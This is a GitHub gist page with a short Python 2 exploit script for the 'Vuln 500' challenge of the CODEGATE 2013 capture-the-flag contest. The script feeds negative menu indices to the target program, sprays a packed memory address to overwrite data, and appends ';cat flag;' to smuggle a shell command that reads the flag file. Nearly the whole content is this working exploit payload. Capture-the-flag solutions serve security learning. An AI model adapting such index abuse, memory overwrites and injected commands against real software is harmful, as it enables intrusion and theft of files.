Skip to content

Instantly share code, notes, and snippets.

@potetisensei
Created August 2, 2015 06:48
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save potetisensei/bbfc34b2ee047d760e24 to your computer and use it in GitHub Desktop.
Save potetisensei/bbfc34b2ee047d760e24 to your computer and use it in GitHub Desktop.
Vuln 500 - CODEGATE 2013
from socket import *
from time import time, sleep
from struct import pack, unpack
from sys import argv
def main():
payload = "a"*200
print "4"
print "1"
print "-45"
print "4"
print "1"
print "-46"
print "2"
print pack("<I", 0x0804B3F8-4) * (0x70/4)
print (pack("<I", 0x0804B3F8-4) + ";cat flag;").ljust(69, "a")
print "1"
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment